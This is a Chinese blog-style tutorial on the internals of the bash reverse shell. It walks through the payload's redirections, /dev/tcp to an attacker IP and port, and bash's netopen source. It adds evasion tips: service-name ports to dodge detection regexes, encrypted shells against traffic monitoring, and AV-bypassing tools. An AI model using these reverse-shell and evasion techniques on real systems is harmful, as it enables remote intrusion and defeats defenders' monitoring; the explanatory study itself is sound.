知识补全计划第二篇:解密反弹shell背后的秘密

我们一直以来,经常使用这样的Payload来进行反弹shell:

亦或是

但是各部分都代表什么意思呢?我们就来探索一下

文件描述符

在学习反弹shell之前,我们着重学习下文件描述符,这将对后面反弹shell的学习有一定的帮助。

标准输出与错误输出重定向

格式: &> word >& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

例如:

image-20230120154512116

亦或是:

image-20230120154540594

文件描述符的复制

1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

解读各部分含义

bash -i

产生一个bash交互环境

>&

将联合符号前面的内容与后面相结合,然后一起重定向给后者

/dev/tcp/ip/port

让主机与攻击机ip:port建立TCP连接,这并不是一个真实存在的文件,然而却是文件的形式。那么现在就抛出了一个问题:Linux中并不存在这么一个文件,那么这其中是怎么工作的呢?我们后文再详细谈谈。

现在我们来做做实验,方便我们理解整个反弹shell的流程:

接受攻击机发来的消息

现在我们可以先来尝试利用这个东西来接受一些东西,比如:

受害者:

image-20230119195607769

攻击机:

image-20230119195619318

现在我们尝试在攻击机上输入点什么东西:

image-20230119195642511

看看受害者:

image-20230119195705717

会发现我们在攻击机上的输入被受害者读取到了!

现在我们成功让受害者接受到了我们的输入,但是我们更想把这个"shell"重定向到我们的攻击机上

交互重定向

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上

image-20230119200019893

接着在受害者主机上输入点东西:

image-20230119200139567

发现在受害者的shell中不会出现命令的回显结果了,而在攻击机这里

image-20230119200218109

显示出了上面的命令的回显结果

现在我们又能获取命令的回显结果了,但是这样好像不太对劲,我们没办法操作目标主机执行我们的命令了

让受害者主机执行我们的命令

现在我们尝试操作目标主机:

受害者:

image-20230119200648083

攻击机输入命令:

image-20230119200624512

受害者:

image-20230119200741142

那么能不能把上面的结合起来,既让受害者主机接收到攻击机发出的命令,又可以让攻击机收到受害者主机执行命令的结果呢?当然可以!

0>&1

如果好好上过学校Linux课程的同学一定不陌生,在第三章的PPT中,我们就能看到这样的描述

image-20221227172024952

那么0 1都是什么呢?其实在PPT里已经有了相关的描述:

image-20221227172121585

于是就显而易见了,将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

根据上面的知识,我们来组合一下:

其含义为:

输入0是由/dev/tcp/192.168.72.128/9900 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.72.128/9900上,这就形成了一个回路,实现了我们远程交互式shell 的功能

但是这条语句真的完美吗?我们来看下终端的表现:

攻击机:

image-20230120153353790

已经正常了,再看看受害者主机呢?

image-20230120153416318

有点糟糕,我们的命令在对方的终端中还有体现。

那么我们还需要改进一下:

2>&1,将正确与错误的输出都输出到一个地方去!

攻击机:

image-20230120153906338

受害机:

image-20230120153915184

可以发现此时就非常完美了。

当然也可以用这个>&来代替

总结

结合上面的分段内容,我们来总结一下

bash产生了一个交互环境与本地主机主动发起与目标主机port端口建立的连接(即TCP port会话连接)相结合,然后在重定向个tcp port会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境

疑难解决

Why Bash

我们一定都注意到这条命令的细节,永远是用bash去做什么事。加入目标环境就没bash,那就有意思了

image-20221227174123361

是的,纯sh环境会认为这是一个文件,然而bash却能正常的交互,为什么?我们来分析下bash是怎么做的

实际上,Bash在编译的时候如果开启了这几个选项

就会在重定向的时候支持下面的这些格式

我们不妨来看看源码,毕竟是底层篇

https://ftp.gnu.org/gnu/bash/

在 bash 打开重定向文件的时候,会先调用find_string_in_alist判断这个被打开的文件完整名称是否匹配上述的六种模式,这个函数可以识别通配符,最终调用的是:strmatch来判断字符串是否匹配

跟进这个find_string_in_alist

这个CLion给我跳转到这个头文件来了,幸亏上面有注释

image-20221227180107934

继续去stringlib.c里找find_string_in_alist

看不懂的可以看下C语言中关于这个#if defined的用法,其实就是如果有对这个EXTENDED_GLOB的定义,就执行下面的代码,直到#endif为止

这里会对r进行赋值并返回,只要有定义r将>0,进入这个逻辑

该函数将用来打开这些特殊文件

再具体怎么打开,那我们就不在追究了,太过于底层了。

其实在追踪下去就是调用的netopen这个函数,在lib/netopen.c,再追究就是_netopen应该会判断下IPV4还是IPV6,选择调用_netopen4最后建立连接

netopen

_netopen

_netopen4

鬼扯扯远了,我们还是来看下最终的结论吧:

/dev/tcp/${HOST}/${PORT} 这个字符串看起来很像一个文件系统中的文件,并且位于 /dev 这个设备文件夹下。但是:这个文件并不存在,而且并不是一个设备文件。这只是 bash 实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入 host port参数,就能发起一个 socket连接完全一样。

Find Something Fun

我不知道大家注意没注意过Linux的作业中有这么一个空

1aa097e0af5b2a8466b57c0cdabfc39c

他说:此文件规定了服务和端口与通信协议的对应关系

那么我们在反弹shell的时候能否选择不去用数字来指定端口,而是以端口运行的服务名称来指定呢?

答案当然是可行的:

5283b9b08350aa7beccdf7f77729b742

随便找一个高位端口的服务名

反弹:

image-20221227182156156

接受到了:

image-20221227182228366

说不定可以破坏对方的反弹shell正则表达式

接着我们来深究下原理,还是那句话,底层篇看的就是原理,而非结果

既然要发起TCP请求,就一定要解析出端口与地址,我们看下_netopen4

完整的代码在上面,这里只把重要的放在这

跟进_getserv()

我们先跟进这个判断字符串是否为合法数字的函数examples/loadables/finfo.c

看到这个whitespace(),我们看看Bash认为的空格都是什么:标准空格与TAB

这里我们可以变形

回过头,继续看,在_getserv()如果不是合法的数字怎么办呢?

会发现调用了getservbyname这个函数

我想不用再继续看代码也能知道这个函数是干什么了吧

这便是这个小Tips的来源

getservbyname

image-20221228001138504

其他Linux反弹Shell

加密反弹

前面这种方式的反弹shell,在流量设备大行其道的时代简直就是自杀式的存在。因此,我们需要一种可以流量加密的反弹shell来代替这种

生成证书:

image-20221228002139169

一路回车

服务端监听端口

客户端

image-20221228002629149

收到请求:

image-20221228002535874

反弹成功

域名反弹

把IP地址换成域名就行了

image-20221228003237264

但前提是你的VPS需要绑定域名,这里以阿里云为例:

image-20221228003319076

还有一堆利用各种方式反弹shell的,可以自行阅读,没必要再在这里展开了

各种反弹shell的姿势

nc监听问题

其实说了这么多反弹shell的原理,最后就简单介绍下服务器端的NC吧,相信大家都有所了解

各个参数都是什么意思呢?

注意,在云服务器中需要指定-n参数,否则无法启动nc,原因也很简单

因为localhost.localdomain无法解析造成的

工具

利用第三方工具来反弹shell的相关工具我在这里推荐两个

WINDOWS:据说100%过AV的反弹shell的Powershell脚本

Linux:用GO写的ICMP协议来反弹shell的脚本